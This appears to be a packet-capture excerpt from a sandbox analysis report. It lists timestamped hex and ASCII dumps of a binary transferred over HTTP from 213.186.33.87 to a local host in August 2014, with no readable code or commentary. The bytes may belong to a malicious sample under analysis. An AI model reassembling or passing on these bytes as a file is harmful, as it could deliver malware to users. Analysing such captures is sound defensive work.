Aug 8, 2014 11:26:07.478044033 MESZ801032213.186.33.87192.168.1.13Data Raw: db e3 fc f2 cc ae 87 fa a6 58 92 ed 20 4d 21 12 09 de 0a 15 23 2e c9 5d 43 a2 43 e6 07 8d 1c a8 78 38 c1 3d 9b af d4 d3 03 f1 17 20 ac d2 f1 3e f5 a9 d1 d6 00 7e a9 f4 e9 1d f3 47 1a ab 27 5c 30 ca c7 99 18 14 98 1c 41 02 29 7b 39 5d ba 9b f6 45
Data Ascii: X M!#.]CCx8= >~G'\0A){9]EfZ &{~}Q7F0>cnP(xX>G*WiEXj32+m>ISH*M\@<hZ#*d{2+iN'+%D3{K9Y|xI
334
Aug 8, 2014 11:26:07.478056908 MESZ801032213.186.33.87192.168.1.13Data Raw: fa 5c ed 1a 87 72 6e 2a 48 82 10 ac 87 32 20 14 4f 0c 4a 68 15 83 12 37 83 3a d2 fd 62 2c bb af 6e 9b e3 4c 0d 98 14 ac 93 75 ed 10 c1 f8 e4 ac d3 5e ab 52 10 11 dc 23 40 7a 5d 2b 53 cb dc 81 76 87 8c 68 2e 7c bf 11 73 e9 01 2b 42 dc 91 72 16 82
Data Ascii: \rn*H2 OJh7:b,nLu^R#@z]+Svh.|s+Br1u#$lMpO{Q5\IR6cg%]d@b^BXY.yCa3=JkjH9bsIbF`kvV ^G$gfqzw4K][Ve
335
Aug 8, 2014 11:26:07.478173971 MESZ801032213.186.33.87192.168.1.13Data Raw: b0 4f e2 33 d3 48 fb cf b2 9e a0 cc 44 9a df d0 95 4c 41 52 c4 d7 aa 4a 7f 53 33 a5 10 26 c8 e0 a8 5a 27 95 bf 15 40 2b 2e c2 06 4c 9d 8f a1 b4 cf 8e c1 1f 04 56 c2 e7 d5 73 c3 f7 e6 2a 68 79 4e cf a2 fe 3b 73 a8 89 e4 b0 47 43 0d 56 45 e8 32 d0
Data Ascii: O3HDLARJS3&Z'@+.LVs*hyN;sGCVE2vV,Cs64Mo$}Af?_<rL_u_Uf+~v$0fzB-z6yNF3/8s0M>fpw({HX7UX`vKw9H=J&l:)$$BN
337
Aug 8, 2014 11:26:07.478240013 MESZ801032213.186.33.87192.168.1.13Data Raw: 6f d5 cf f0 bb d2 a9 00 0e 8b 91 e9 fd 9d 43 a2 74 cf c0 6c 8f 95 f9 42 ed d6 88 f6 fa 78 c9 12 7a 60 d3 c1 5a b9 e0 60 2a 0e 2a 0a 60 9f 4a 20 73 12 b9 6b 1b 18 58 9d 93 54 71 c3 07 23 21 e2 24 3f 96 a5 66 7b 8b ac 14 12 ff 90 4d cd 6f af 53 21
Data Ascii: oCtlBxz`Z`**`J skXTq#!$?f{MoS!h-(L=F'IU)<v,I=BbWQ"whK!\VjrM4r6 pp PHd8nU&e.U6*FA y)F/*
338
Aug 8, 2014 11:26:07.478244066 MESZ801032213.186.33.87192.168.1.13Data Raw: da 99 85 f7 1f 89 da 8e 54 3b 3d 70 a5 12 4b a8 ed 26 a2 e1 f1 9b 65 8b e9 0a cf b5 72 05 f4 43 e4 cb 06 96 6c 24 eb 2d 4b 83 04 44 03 d7 c5 71 6c b2 e7 8a 65 7d ff 7c c5 82 7d 70 85 9e 27 be 68 ee 07 6f a1 6f 5d 78 6f 28 b2 b1 f7 05 c7 72 77 eb
Data Ascii: T;=pK&erCl$-KDqle}|}p'hoo]xo(rw@~noq;L4pj-f8>qtgu^VFYJix)|XbB7\r`}J={ddIaH@PpE{hfr+4Gyx s,:d|2w
340
Aug 8, 2014 11:26:07.478256941 MESZ801032213.186.33.87192.168.1.13Data Raw: 38 de c4 c4 54 ce 6e a5 0d 41 8a 6b 26 db b7 ed d3 22 02 32 bb f3 d5 65 ed 06 5c eb 67 fd 90 d0 d0 db c5 dc 7e af ea 00 37 86 f4 2e 96 dd d1 29 27 35 21 03 fb 33 6f 23 95 5b 60 30 5f 05 de 78 5d 04 c0 b9 77 e0 81 e6 02 81 b1 6c 69 75 62 e1 95 32
Data Ascii: 8TnAk&"2e\g~7.)'5!3o#[`0_x]wliub2\&\K{h00=1vb`\XVS6#oz%#Z.OKMs"rRRw:M\4S9/IHGb^GB|fS]Z.HZZ=a
341
Aug 8, 2014 11:26:07.478339911 MESZ801032213.186.33.87192.168.1.13Data Raw: b7 c6 b7 d9 ed 69 f0 3a 3d 04 8a c9 f6 02 b1 b1 cf a9 e9 51 a8 16 58 3c 7d 08 df c3 af 9b c4 8e e3 28 cb 90 38 5a 30 a1 c7 1c 37 0d 73 19 b8 23 ab 79 36 3e bc 76 c3 37 d4 6a d8 40 d2 4e ae ca e2 3b 8c 6f 23 fd d9 b9 22 f2 49 7c be ab 0f 2b b1 cc
Data Ascii: i:=QX<}(8Z07s#y6>v7j@N;o#"I|+#7#<R#Dt5z0Y$i_D~(jO0L%p7BC?2NP^?MB]?^l^Dx)MJ9<W[$E;fv1}DfZV
342
Aug 8, 2014 11:26:07.478446960 MESZ801032213.186.33.87192.168.1.13Data Raw: 64 c4 4b 4b 12 a2 35 01 4c 02 61 b8 99 21 93 b0 de 92 7b 21 69 c2 43 79 d7 9a fd af 9f 5c 9e ed 3b 5c bd b3 4f 6d 40 e4 18 69 c6 26 6c 06 c3 f5 54 90 a9 28 18 8e e8 67 7d 04 b8 a2 5e 0f 62 34 79 36 0a 31 d7 42 9c aa 93 61 77 4f 94 65 1c 4b 74 76
Data Ascii: dKK5La!{!iCy\;\Om@i&lT(g}^b4y61BawOeKtvENv|A8p|(/a1a2dsZ_{H=Z7X70hO%SxE<HhQBd7gpUPG\jC"#& +HxG]9os8;]3
343
Aug 8, 2014 11:26:07.478450060 MESZ801032213.186.33.87192.168.1.13Data Raw: 10 bd 41 ec eb 9b b6 11 28 40 48 3a ed 4d 2e b6 31 ef c7 5d be fb 49 56 fe 23 bd 3f 72 8c 40 de 39 e5 d0 03 c0 ac 2a 6d c1 8b d9 df 08 b2 52 01 b4 6d 4b 43 46 5d b2 1d 2b 90 7a 1d 05 d7 2b 48 2f 4a 60 a9 c0 0d 37 49 40 2e cc a0 ff b2 97 30 e5 55
Data Ascii: A(@H:M.1]IV#?r@9*mRmKCF]+z+H/J`7I@.0U0e@%EDMp.{:%ANJ^ %/w{*l+OIp711Py 6`"y;B>c&~w]g=M%Jj_%~quLR_
345
Aug 8, 2014 11:26:07.478463888 MESZ801032213.186.33.87192.168.1.13Data Raw: 8f b5 0c ce 9f 8f ac 44 bd 73 44 80 e4 09 a0 ae c7 01 21 22 4d 6f 27 d8 87 1f 3c cc 8d 41 38 26 8b 93 ad 72 bf ac 87 b0 05 99 9b 0a 85 fc 73 04 a3 aa cb b0 ac dd ef 19 13 10 32 bf 7b 65 aa 15 33 ab 67 09 a3 7e c4 a3 b8 1e 13 fb 5e b9 aa 82 cf 9f
Data Ascii: DsD!"Mo'<A8&rs2{e3g~^%l~-.|D~WZwgF"T'dG1rvfxp}+ jq|*f\3jQ%':['9z=&.F?sj3pQrNF@/cOa|(Bi
346
Aug 8, 2014 11:26:07.478466034 MESZ801032213.186.33.87192.168.1.13Data Raw: 7f 7f 43 18 e5 b9 69 52 42 92 a1 2c d8 a2 3a d3 80 f9 f2 95 74 4f c2 64 73 93 63 b7 55 1e ff 7f 5b fb 37 8c 73 18 cb 2b 9f 11 f1 3b ea e1 74 39 ba 6b 63 46 ef 92 d0 9a 0d 20 a9 10 9c 5b 01 de 8c 16 2c 79 4d ec 32 ab 8b 7f ea 67 40 78 0d 98 f5 c2
Data Ascii: CiRB,:tOdscU[7s+;t9kcF [,yM2g@xocay`Zs[s`~_mRh7,zE<|QJcDK)S=QFH)E]f>_LwLj<cvl|@KM03x$vEYH:m
348
Aug 8, 2014 11:26:07.478562117 MESZ801032213.186.33.87192.168.1.13Data Raw: 1c a0 04 9c ef d2 c5 c0 e8 57 ea 8f 0b 1f bc 4d ec dc d0 fa 26 25 08 26 41 ea f1 5a 22 2c 81 0f fe ea c3 d6 57 d9 d0 93 29 74 0c 4e 23 98 e5 67 64 5e 05 86 d5 73 ac 59 df e6 f0 50 1a 3d ec 66 60 97 d9 59 c6 20 df ec a7 99 8d 8e 87 90 63 83 27 d6
Data Ascii: WM&%&AZ",W)tN#gd^sYP=f`Y c'A(iXD m(C,Ce5jorC)A
348
Aug 8, 2014 11:26:07.478643894 MESZ801032213.186.33.87192.168.1.13Data Raw: 31 10 b9 12 7a 49 a4 28 de f5 ca de 80 ca 16 7e c5 76 e5 04 8c 07 ad 11 69 16 cc 3e a4 ac 16 d9 62 c4 01 d0 11 1e 36 44 5f 29 03 17 7c 74 7c 46 47 f5 43 2e f7 93 b6 7b 5d dc f8 f9 e0 c6 ce 5b b5 8e b2 79 b7 33 f3 a9 a1 1c f0 f0 71 32 3b 34 cd ce
Data Ascii: 1zI(~vi>b6D_)|t|FGC.{][y3q2;4]af`m,3%%Z2F[{~pCvC.@lg^HC"}~W!1Cu4U,gjP,rWHSS# $Ke,B9P&DL%!
349
Aug 8, 2014 11:26:07.478647947 MESZ801032213.186.33.87192.168.1.13Data Raw: 0a 83 0a 0a 0a 0a 0a 0a 2f 72 0a 1a 0a 0a 0a 0a 0a 0a c8 d0 0a 0a 13 c1 e3 e3 0a f0 65 ac 05 54 1b 0a d0 0a 0a 0a 0a 0a 0a 5e 0a 0a 0a 19 b8 0a 0a 0a 0a 35 9f af 95 12 0a e8 6f 17 0a ac 5c 96 5d 7e 0a 0a 25 0a 0a 0a 0a 0a 0a 24 0a 3a 0a 0a 0a 8a
Data Ascii: /reT^5o\]~%$:OlKC6tq`e}YX3XsAB/_ABLbn"JLu,x5IR9C'gZ
351
Aug 8, 2014 11:26:07.478652000 MESZ801032213.186.33.87192.168.1.13Data Raw: a5 0a 0a 0a 0a 32 0a 12 0a 90 24 0a dd 0c 0a 55 0a 06 18 ab 0a 23 c7 e6 4b 0a 0a 07 0a 30 34 03 0a 26 55 1e 0a f0 0a 0a 18 8e 0a bf 0a 01 0a 15 0a 0a a4 0a 0a 4f be 0a e8 6d 0a a3 50 b6 98 93 0a 0a 00 0a d5 16 2e 0a f3 33 0a 35 0a a0 0a 0a 3f 0a
Data Ascii: 2$U#K04&UOmP.35?%Q!9@!aHtDBujrFE.!ORmP0e1(2R$q++V
352
Aug 8, 2014 11:26:07.478653908 MESZ801032213.186.33.87192.168.1.13Data Raw: 35 0a bd 0a db 0a ed 0a 0a e5 0a a0 0a 0a 41 0a 44 15 0a 0a 0a 2e d4 0a 0a ed 64 d7 49 e8 f7 de 24 da 89 9d b7 0a 0a 6c 0a 0a 0a b2 15 52 ef 0a 0a 22 0a a0 0a b4 dc fa a1 75 0a 11 0a 2c 0a 18 0a 0a 0a 0a df 0a 87 fc 0a 16 0a b4 0a 2b 0a 20 0a 36
Data Ascii: 5AD.dI$lR"u,+ 6D.ErsHrJPhg'9oVIr7_]0!.d$.KlDf
354
Aug 8, 2014 11:26:07.478723049 MESZ801032213.186.33.87192.168.1.13Data Raw: 0a a0 93 0e 0a 0a 0a 0a 0a 0a e0 16 0a 50 0a 0a 0a 0a 0a 0a 59 56 54 f7 0a 38 55 72 0a 37 1c 3c 0a 26 dc 0a 8e 34 0a 0a 0a 0a 0a ea 0a 9f 0a 0a 0a 0a bd 0a 0a 88 c3 7b b5 1c 0a 5f 31 5e 0a 0a e6 28 65 50 0d a4 e0 0a 5d 0e 0a 0a 0a 40 0a 0a b6 0a
Data Ascii: PYVT8Ur7<&4{_1^(eP]@<_0?[\
354
Aug 8, 2014 11:26:07.478890896 MESZ801032213.186.33.87192.168.1.13Data Raw: 25 87 52 5a 10 02 0a f4 0a 31 0a 0a 0a 0a b3 0a 0a 29 1d 0a ca 0a 0a 84 66 bf 39 b2 65 0a a8 1d cb 0a 90 0a 16 66 a2 4e 62 0a 0a 0a 0a 0a 0a 69 0a 0a 87 0a 0a 0a 0a 0a 94 ab ce 0a 89 0a 49 7c b6 cd 5f 0b 9a a5 84 0b 0a 0a 1a 6c 0a 64 0a 0a 0a 0a
Data Ascii: %RZ1)f9efNbiI|_ld}nx>@T!:|Y$6}R2NI(nub|$+-l[]sW5hRE6Qr*# 7
356
Aug 8, 2014 11:26:07.478894949 MESZ801032213.186.33.87192.168.1.13Data Raw: b8 4f e7 0a 56 c0 28 0a 86 0a 0a 0a 0a 09 0a 0a 0a 0a f4 0a 0a 0a 72 0a 9e 90 95 0a 0a 0a 1a da c3 01 16 76 08 29 0a 09 6a 29 0a 0a 0a 0a 47 0a 0a bc 34 88 0a 61 1c 0a 5f 0a 0c 91 0a 0a fa 68 e9 3a 0a 0a 7d 96 48 0a 07 0a f2 8b 83 0a 0a 0a 0a c0
Data Ascii: OV(rv)j)G4a_h:}H[&aO_YDJQB~YB jA}{"-EGc@vE'K.o2'kwq
357
Aug 8, 2014 11:26:07.478898048 MESZ801032213.186.33.87192.168.1.13Data Raw: 7a 3f 50 22 6e 1f 7a bf 85 0a ee dc 0a 0a 0a 0a 0a c6 0a 0a 0a 0a 0a 0a 22 e0 4f 0a 0a d1 bb 31 0a 40 c7 0a 6a 0a f0 0a 04 0a 8f 55 0a f5 0a c8 0a 0a 21 0a 83 0a 0a 0a 84 19 0a 0a 55 0a 08 07 9c 20 e8 31 08 0a 0a 0a 0a 0a 8b df 03 bf 0a 0a 04 0a
Data Ascii: z?P"nz"O1@jU!U 1A$x'nid>{G*;"N(idg7{rg:"FX|8'LsGdOV9
359
Aug 8, 2014 11:26:07.478900909 MESZ801032213.186.33.87192.168.1.13Data Raw: eb 00 22 0a 9f 84 46 0a c4 a9 0a 0a 0a 3d 0a 0a 44 0a 0a 0a 0a ea 0a 0a 14 0a 1f 22 0a 94 dd 0a d1 6e 45 aa 0a 0a 98 9c 1c 0a 94 30 9f 60 d1 0a 0a 20 0a 14 0a 0a 0a 0a da 0a c6 f0 0a 0a 0a 0a 0a 0a b6 03 45 00 c5 0a 18 0a ca 3c 0a 0a c1 1e 0a 0a
Data Ascii: "F=D"nE0` E<)K4qgq-5E!EK48`Hn4loWb'}(Bl8h;rAn23D~4|
360
Aug 8, 2014 11:26:07.478903055 MESZ801032213.186.33.87192.168.1.13Data Raw: 00 00 d8 03 00 00 f8 4d 1b 00 d8 25 00 00 00 00 00 00 00 00 00 00 48 02 1b 00 d8 25 00 00 00 00 00 00 00 00 00 00 70 dc 1a 00 d8 25 00 00 00 00 00 00 00 00 00 00 20 28 1b 00 d8 25 00 00 00 00 00 00 00 00 00 00 f0 48 1a 00 28 79 00 00 00 00 00 00
Data Ascii: M%H%p% (%H(yxGrb`uFtfsBtLt(GP
362
Aug 8, 2014 11:26:07.478988886 MESZ801032213.186.33.87192.168.1.13Data Raw: 00 00 02 00 02 50 00 00 00 00 ad 00 79 00 15 00 29 00 c6 8d ff ff 82 00 70 00 45 00 32 00 20 00 67 00 33 00 37 00 32 00 36 00 20 00 49 00 33 00 37 00 30 00 36 00 00 00 00 00 00 00 81 50 00 00 00 00 c8 00 75 00 31 00 1d 00 0d 96 ff ff 81 00 00 00
Data Ascii: Py)pE2 g3726 I3706Pu1(XX y{{[_{{[[__[[_[_{{[?{{_{
362
Aug 8, 2014 11:26:07.479043961 MESZ801032213.186.33.87192.168.1.13Data Raw: bf 00 ff 1f bd 00 7f 9f bc 00 ff 3f ff 00 7b 9f be 00 df 7f ff 00 ff bb ff 00 5b bf bd 00 ff 1f be 00 5f bb be 00 5f fb be 00 db ff bc 00 ff 7b ff 00 7f 5f bc 00 5b 1b fc 00 ff 7b fd 00 ff 5f bf 00 fb 1b fe 00 ff db fd 00 ff 1b bf 00 ff 1b be 00
Data Ascii: ?{[__{_[{_?{{{{{;[??_{;{__{[_[{;{{__;{{
364
Aug 8, 2014 11:26:07.479048967 MESZ801032213.186.33.87192.168.1.13Data Raw: bf 00 5f 1b fe 00 5f 7f fc 00 7b fb bc 00 fb df fc 00 5f 1b bf 00 ff db bc 00 7f 1b fc 00 ff 5f ff 00 5b 5b be 00 df 3b bd 00 5b 1f bf 00 fb 9b bd 00 5f 1b ff 00 ff db fd 00 5b 1f fd 00 5b 3b fe 00 df db fd 00 7f 7b fc 00 5f 9f be 00 fb 9f fc 00
Data Ascii: __{__[[;[_[[;{_{{{{_{_[;[{{[_{_{__[[[{[[;[?_?
365
Aug 8, 2014 11:26:07.479168892 MESZ801032213.186.33.87192.168.1.13Data Raw: bd 00 db 1b fc 00 5b 1b fd 00 7f db ff 00 7b 5b ff 00 5b bf fe 00 df 7b bd 00 ff 3f bd 00 df fb fe 00 7f 5f bd 00 5f 9f fd 00 db ff bd 00 fb 7b be 00 7b 3b fc 00 7f ff bc 00 5b bb be 00 fb 1f be 00 ff 3b be 00 5b 7b fe 00 5b ff fc 00 db 9f bc 00
Data Ascii: [{[[{?__{{;[;[{[{{_?{{[_?_[_[[{[[[__[_{[_[
367
Aug 8, 2014 11:26:07.479262114 MESZ801032213.186.33.87192.168.1.13Data Raw: bf 00 7b fb fd 00 5b 1f be 00 db df bf 00 ff df ff 00 df fb fd 00 5f fb fd 00 7b 5f ff 00 7f db be 00 5f fb fd 00 db bb fd 00 df 3f fd 00 7b 9b ff 00 db 1b fc 00 fb 7f be 00 7b db fd 00 df fb fc 00 ff 9f ff 00 7b 3f bd 00 fb 3f fe 00 5f 1f be 00
Data Ascii: {[_{__?{{{??_;{?[[[[{?;{;_?[[_[_;[{_
368
Aug 8, 2014 11:26:07.479265928 MESZ801032213.186.33.87192.168.1.13Data Raw: bc 00 5f 9f bd 00 5b 3b ff 00 5b db fd 00 db 1b ff 00 df bf bf 00 fb bb fc 00 db 1b ff 00 fb ff fe 00 7f 7b bd 00 db 1f bf 00 5f 3f be 00 ff 9f bd 00 ff 1f bc 00 7f bf bf 00 df 3b bc 00 fb 7f fd 00 7f 1b bc 00 db 3b fd 00 5b 1b fd 00 5f 5f bd 00
Data Ascii: _[;[{_?;;[____{{[?__[_{[;_;?[__{___{____{__{_{[
370
Aug 8, 2014 11:26:07.479268074 MESZ801032213.186.33.87192.168.1.13Data Raw: bd 00 7b 5f fd 00 fb 9b bf 00 5f 3b ff 00 fb bb fc 00 db bf bf 00 fb 1f bd 00 df 7f bc 00 df db bf 00 7f db fc 00 7b 9b be 00 7f 5f fd 00 7f df bf 00 db 3b ff 00 5b 5b fd 00 db 5b be 00 ff fb bd 00 df ff fd 00 5f 1f bc 00 db 7f be 00 df df fe 00
Data Ascii: {__;{_;[[[_{_?[{_{[????_{[[;{_;_[{___[[[__[[
371
Aug 8, 2014 11:26:07.479270935 MESZ801032213.186.33.87192.168.1.13Data Raw: bc 00 fb 5b bd 00 ff df bc 00 ff 5b be 00 ff 7b ff 00 7b 1f fd 00 5f 5b fc 00 df db bc 00 7b bf fe 00 ff fb be 00 ff 3f bd 00 df bf fd 00 7f 1b ff 00 fb 9b bf 00 5f 5b fe 00 5f 9b fe 00 7b 7b be 00 7b df bd 00 fb 3f bf 00 db 3f fe 00 ff 7f ff 00
Data Ascii: [[{{_[{?_[_{{{??[[_{;_{[_;{?{[{__{?{_[?{_[[{[__[{
372
Aug 8, 2014 11:26:07.479274035 MESZ801032213.186.33.87192.168.1.13Data Raw: bc 00 5b 9f ff 00 df 9b ff 00 5f 1b ff 00 ff 1f bf 00 db 5b bc 00 5f bb fe 00 5f 7f fc 00 5b df fd 00 db 3b bf 00 ff 7f bc 00 fb df ff 00 7f db bd 00 db fb bc 00 5f 7f fe 00 5f 7f be 00 fb 7f be 00 db 7f fe 00 df fb bf 00 ff 9f bd 00 ff 1b bc 00
Data Ascii: [_[__[;__[[[[_[{_;{{_{_[{[[__?[[?_
374
Aug 8, 2014 11:26:07.479382992 MESZ801032213.186.33.87192.168.1.13Data Raw: fd 00 db 1f be 00 7b 5f bc 00 df 3f fe 00 ff 7b ff 00 fb 9f ff 00 5f bb ff 00 df df fd 00 7f 9b bf 00 fb 1f be 00 5b 7f ff 00 fb 7b fc 00 db 1f bd 00 5f fb fd 00 7b 9b bf 00 7b 5f fc 00 db df fc 00 5b df fe 00 5b bb bc 00 db 3b fc 00 7b bf be 00
Data Ascii: {_?{_[{_{{_[[;{_[?[{_[?_[_{[{_[_{_[_{[[[[{_
375
Aug 8, 2014 11:26:07.479644060 MESZ801032213.186.33.87192.168.1.13Data Raw: bd 00 fb bb bf 00 7b bb bf 00 df 9b fc 00 5b 5b bf 00 ff 5f be 00 fb 3b ff 00 ff 1f be 00 db bb bc 00 fb df bf 00 5b df bc 00 df 7f fe 00 fb 3f fd 00 ff 5f be 00 7f 9b fd 00 5f bf fd 00 df 5f ff 00 fb 3f fe 00 fb db bc 00 ff db fd 00 ff 9b fd 00
Data Ascii: {[[_;[?___?{[;{{{?_;{_[;{?{;{_?;[__[_[
376
Aug 8, 2014 11:26:07.479649067 MESZ801032213.186.33.87192.168.1.13Data Raw: fd 00 7b 1b be 00 df 1b ff 00 7b 9b bd 00 5b 1b ff 00 5b 1b bc 00 db db ff 00 db db bf 00 7b fb be 00 7b 3b be 00 5f df fe 00 df ff bd 00 ff 9b fe 00 7f bb fc 00 5b 5b be 00 7b db ff 00 ff 1f bf 00 7b bb ff 00 5f 5b ff 00 fb ff bd 00 fb bf bf 00
Data Ascii: {{[[{{;_[[{{_[[;[{[{;{[{?{{[[[_[_{{_{[
378
Aug 8, 2014 11:26:07.479650974 MESZ801032213.186.33.87192.168.1.13Data Raw: ff 00 5f 3f fc 00 5b 3b bf 00 7f 9f ff 00 fb 9b bd 00 5b 7f fd 00 fb 5b ff 00 ff 5f bd 00 fb 5b ff 00 5f 9f fc 00 db 9b fe 00 5b df fc 00 df db ff 00 7b df bc 00 db 5f bf 00 7b 9f fc 00 7f df bc 00 db 7f bd 00 7f df bf 00 5b 7f bc 00 ff 7f fd 00
Data Ascii: _?[;[[_[_[{_{[[[{{;{{?_[;[{;__{[[{{;{_{[[_[[{[[?
379
Aug 8, 2014 11:26:07.479654074 MESZ801032213.186.33.87192.168.1.13Data Raw: fc 00 fb 1b bf 00 7f fb fc 00 5b 5b be 00 db 3b bc 00 df bb fd 00 7f 3f fc 00 ff 5f be 00 db 5b bd 00 7f 3f be 00 5b 1b fe 00 db df bf 00 fb fb bf 00 7f bb bd 00 fb 9f fe 00 7f 5b fe 00 7f 7f bf 00 df 1f fe 00 ff 1f fd 00 7b 9f be 00 5b 1f fe 00
Data Ascii: [[;?_[?[[{[;_[__?{[{{;___[{[_?;{[
381
Aug 8, 2014 11:26:07.479655981 MESZ801032213.186.33.87192.168.1.13Data Raw: fd 00 5f 3f fe 00 5b fb fc 00 5f db fe 00 db 1b fd 00 7b df bc 00 5b 3b ff 00 5b bf bd 00 7f df be 00 7b 1b fe 00 fb 9f fd 00 fb 3b bd 00 ff db ff 00 5f 1f bc 00 db 7f be 00 7f ff fc 00 df 5f ff 00 5b fb fd 00 7b fb ff 00 7b 3f bc 00 7b 9f ff 00
Data Ascii: _?[_{[;[{;__[{{?{{{;[{{_?{{{{[[;__[_[___{_[;_
382
Aug 8, 2014 11:26:07.479657888 MESZ801032213.186.33.87192.168.1.13Data Raw: bf 00 5f 3b fc 00 df 3f be 00 df 5f be 00 7f ff fe 00 ff 3b bd 00 7b 5f fe 00 ff 7f bf 00 5f bf fd 00 ff 1b fe 00 5b df fc 00 fb ff bc 00 fb 3f fe 00 df 1f be 00 5f 9b fe 00 db 7f bc 00 fb 5b fc 00 fb 9f bd 00 7f 1f be 00 7b db bc 00 7f fb ff 00
Data Ascii: _;?_;{__[?_[{[[[;?;?_[??__{__{[?_;?_;[;_{;
384
Aug 8, 2014 11:26:07.479660988 MESZ801032213.186.33.87192.168.1.13Data Raw: bd 00 5b df bc 00 ff 5f bf 00 df 1b bf 00 5f 1f bd 00 7f 1f ff 00 fb ff fd 00 7f 5f fe 00 ff 3f fd 00 ff 7f bf 00 db 9f fe 00 ff db fe 00 5b 1b bc 00 5b 1b be 00 fb ff fc 00 ff 7b ff 00 db 3f fe 00 5f 9f bf 00 df bf fe 00 7f bf be 00 7b bf bf 00
Data Ascii: [___?[[{?_{;_{{;{{[[;{{__?[[[{{_{{{[{
385
Aug 8, 2014 11:26:07.479661942 MESZ801032213.186.33.87192.168.1.13Data Raw: bf 00 7f 1b ff 00 fb 9b bf 00 5f 7b bc 00 ff 1b fd 00 df db be 00 db db be 00 5b fb be 00 5f ff fc 00 7b bb be 00 5b df be 00 ff 3b fd 00 5b fb fe 00 fb 9b ff 00 fb ff bd 00 5b 1f fe 00 5f df fc 00 df 3f fd 00 db df fc 00 df 1b bf 00 ff 7f be 00
Data Ascii: _{[_{[;[[_?[[{_{_[[?_?[?{[[[;{[{[?[
387
Aug 8, 2014 11:26:07.479813099 MESZ801032213.186.33.87192.168.1.13Data Raw: 7b 7f fc 00 5f db ff 00 7b 3b fd 00 5b 9f fe 00 5b 9f be 00 df 5f bd 00 fb fb ff 00 fb ff be 00 5b ff bc 00 5b df bc 00 5f 5b fd 00 5b 7f bc 00 ff 9f ff 00 7f 7f fc 00 5b 3b ff 00 df 5f fc 00 5f 9f fe 00 7f bf bc 00 5b df fc 00 df db be 00 fb df
Data Ascii: {_{;[[_[[_[[[;__[;;_;_[{{_{{{;?[{_{{[_[_[{[;[[
388
Aug 8, 2014 11:26:07.479816914 MESZ801032213.186.33.87192.168.1.13Data Raw: fb bf bf 00 7f bb fd 00 fb db fd 00 5f 5f fc 00 5b 5f bc 00 db ff ff 00 5f df fd 00 fb df fd 00 7b 9f bd 00 db db fd 00 7b 1b fe 00 fb 7b be 00 5b 9b bd 00 fb 9f ff 00 df 9f be 00 df 9f bc 00 7f ff bd 00 fb bb be 00 db bf fd 00 df 5f bc 00 5b 5b
Data Ascii: __[__{{{[_[[___{_{[?_{[{[[;{;__[_
390
Aug 8, 2014 11:26:07.479830027 MESZ801032213.186.33.87192.168.1.13Data Raw: fb 3b fd 00 5f 5f bf 00 fb 9b ff 00 db bf ff 00 ff ff bf 00 7b 9b ff 00 7b 3b bf 00 df bb fd 00 fb df fc 00 db 9f fc 00 db 7f fe 00 7b 5f fc 00 ff 9f bf 00 df 3f fe 00 7b df fe 00 df 3b bf 00 fb bb fd 00 7f 7b bf 00 db bf bf 00 7b df bc 00 db 9f
Data Ascii: ;__{{;{_?{;{{_[[;{[{{{_{[{[[{
391
Aug 8, 2014 11:26:07.479832888 MESZ801032213.186.33.87192.168.1.13Data Raw: fb 3f bc 00 5b db be 00 5b 3f bd 00 5b df bf 00 5b 7b bc 00 7b 7b fe 00 fb ff bf 00 fb bf fe 00 5f 3b fd 00 fb 7f fe 00 db 5b bd 00 7b 5b fe 00 fb bb bd 00 5f fb ff 00 df 7b fd 00 5f 7b bf 00 db df fd 00 7b 5b fc 00 5f 1b be 00 df bf ff 00 5f 9f
Data Ascii: ?[[?[[{{{_;[{[_{_{{[__{_{?[[{[_{[_{[{[{__[_{[[_{{[[?
393
Aug 8, 2014 11:26:07.479835987 MESZ801032213.186.33.87192.168.1.13Data Raw: 5f db fc 00 ff ff bd 00 5b fb bd 00 ff 3b fc 00 7f df fd 00 db fb fc 00 df bb bc 00 7f bf ff 00 5f 5f bc 00 ff 7f bc 00 db db bf 00 5f 3f fc 00 fb bb bd 00 db bb bc 00 db 5f fc 00 5f db fc 00 5f 3f ff 00 7b 7f bc 00 7b db bd 00 df 3f bf 00 5f 1b
Data Ascii: _[;___?___?{{?__?{_;;_{{;{{_{[__[{_[{_{?
394
Aug 8, 2014 11:26:07.479907990 MESZ801032213.186.33.87192.168.1.13Data Raw: 65 00 00 00 00 00 00 00 0a 00 0b 50 00 00 00 00 41 00 08 00 14 00 1c 00 20 8f ff ff 80 00 55 00 7a 00 72 00 48 00 49 00 56 00 20 00 4a 00 7a 00 31 00 32 00 20 00 50 00 32 00 37 00 51 00 55 00 39 00 20 00 77 00 30 00 35 00 69 00 58 00 35 00 33 00
Data Ascii: ePA UzrHIV Jz12 P27QU9 w05iX53(JC//75u-m?%%om=owgw'm5%u5%
395
Aug 8, 2014 11:26:08.477035999 MESZ801032213.186.33.87192.168.1.13Data Raw: 2f ed df 00 e5 e5 d6 00 f7 67 93 00 7d a7 ba 00 2f 65 97 00 25 f5 93 00 7f 67 b2 00 b7 fd bb 00 77 3d df 00 65 ff bf 00 f5 25 9a 00 ad fd 9b 00 a5 a5 fa 00 f5 6f d3 00 e5 ef d3 00 bf 7f 92 00 ad 67 be 00 3d 3f 9f 00 f7 a5 b3 00 7f 67 fe 00 fd 7d
Data Ascii: /g}/e%gw=e%og=?g}g}=%7/o-wogeu-/u-/=?u}ug-u/-=5w-=5
397
Aug 8, 2014 11:26:08.477045059 MESZ801032213.186.33.87192.168.1.13Data Raw: 5d 24 da 33 69 fe fd e2 19 57 0f 39 e5 44 71 d3 68 4b b2 ac 20 06 83 f3 ba cf 58 a3 af 0d 2d 12 90 e0 ca 87 a6 67 34 85 78 b6 2d 24 79 66 b5 42 d4 99 11 18 f9 18 ef 44 7e e9 9f e7 4b 1d a7 c0 5c 75 10 fe a3 08 cb d5 ff b7 d7 4e 97 6d 15 8e 21 50
Data Ascii: ]$3iW9DqhK X-g4x-$yfBD~K\uNm!P3*Gy~ $?pG`9$ytz|uK|qma^&N I7jB]Cs"ou&2j#y:#./t*'nmDM8BE?NT
398
Aug 8, 2014 11:26:08.477049112 MESZ801032213.186.33.87192.168.1.13Data Raw: 0f 42 65 a2 b5 ec 4b 58 b6 2b da 28 12 e4 ac 74 c2 9e 35 15 6a 3f 6a 83 46 3e 84 50 3a 9e 35 76 de 0f 31 7e f2 54 22 d1 15 92 4f 48 c7 31 7b d7 0f f5 0e 71 64 03 66 70 2b 93 fd cc f9 d0 cf a5 0f a1 36 d2 52 ec ed 2d 8f 0f 01 61 2a 8c d3 c3 14 77
